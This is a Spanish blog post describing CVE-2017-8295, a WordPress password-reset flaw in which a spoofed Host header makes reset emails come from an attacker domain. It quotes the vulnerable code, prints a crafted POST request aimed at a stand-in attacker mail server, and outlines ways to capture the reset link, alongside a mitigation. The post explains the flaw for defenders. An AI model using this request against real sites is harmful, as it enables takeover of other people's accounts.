0-day en la función de reset de contraseñas de todas las versiones de Wordpress (CVE-2017-8295)

Recientemente, el 3 de mayo, se publicó una nueva vulnerabilidad (CVE-2017-8295) que afecta a todas las versiones de Wordpress, incluyendo la última versión 4.7.4, que puede permitir a un atacante resetear remotamente la contraseña y acceder con cualquier usuario.

La vulnerabilidad está en la página de solicitud de restablecimiento de contraseña, concretamente en la posibilidad de modificar el contenido de la variable SERVER_NAME en la función wp-includes/pluggable.php:
if ( !isset( $from_email ) ) {

        // Get the site domain and get rid of www.
        $sitename = strtolower( $_SERVER['SERVER_NAME'] );
        if ( substr( $sitename, 0, 4 ) == 'www.' ) {
                $sitename = substr( $sitename, 4 );
        }

        $from_email = 'wordpress@' . $sitename;
}
Wordpress utiliza la variable SERVER_NAME para formar la cabecera From/Return-Path del correo.  El problema es que la mayoría de los servidores web, como Apache, por defecto setean SERVER_NAME con el hostname provisto por el cliente (dentro de la cabecera HTTP_HOST):

https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname

Como SERVER_NAME puede ser modificado, se podrá cambiar el Host en la cabecera:
POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password
y el resultado es que $from_email en Wordpress será:

wordpress@attackers-mxserver.com

De esta manera, se generará un correo saliente con esa dirección en From/Return-Path:
------[ ejemplo de correo generado ]-----

Subject: [CompanyX WP] Password Reset
Return-Path: <wordpress@attackers-mxserver.com>
From: WordPress <wordpress@attackers-mxserver.com>
Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
X-Priority: 3
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Someone requested that the password be reset for the following account:

http://companyX-wp/wp/wordpress/

Username: admin

If this was a mistake, just ignore this email and nothing will happen.
To reset your password, visit the following address:

<http://companyX-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin>

-------------------------------

Si se intercepta este correo y/o se repele en destino para que sea enviado de vuelta a la dirección de correo maliciosa, se podrá obtener el enlace de reset y actuar en consecuencia.

El autor contempla tres escenarios:

- Si el atacante conoce previamente el buzón del usuario administrador, la dirección del buzón puede ser atacada por medio de DoS lo que hace que el correo de restablecimiento de contraseña sea rechazado o imposible de entregar. En este momento, el correo se enviará a la dirección construida por el atacante.

- La característica "autoresponder" de algunos buzones devolverá el contenido del mensaje como un archivo adjunto al remitente.

- Enviado repetidos mensajes para restablecer la contraseña al buzón de destino, forzando al usuario a responder a uno, cuando el contenido de la respuesta generalmente se refiere al cuerpo del mensaje anterior.

En definitiva, si se conoce el administrador o la dirección de correo electrónico de cualquier usuario de destino, se puede obtener el enlace de restablecimiento de contraseña por estos u otros métodos y, por ende, restablecer la contraseña de la cuenta de cualquier usuario.

De momento no hay una solución oficial, pero para paliar el problema se recomienda forzar un nombre estático para UseCanonicalName.

Referencia
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html

Comentarios

  1. Vale aclarar que la vulnerabilidad sólo es explotable si Wordpress es el sitio por defecto de Apache/nginx o si es el primer NameVirtualHost.

    Si Wordpress está en un NameVirtualHost que no es el sitio por defecto, el request malicioso no llegará nunca al Wordpress vulnerable (porque lo que determina qué NameVirtualHost gestiona un request es la cabecera Host:) y será gestionado por el sitio por defecto del NameVirtualHost.

    ResponderEliminar

Publicar un comentario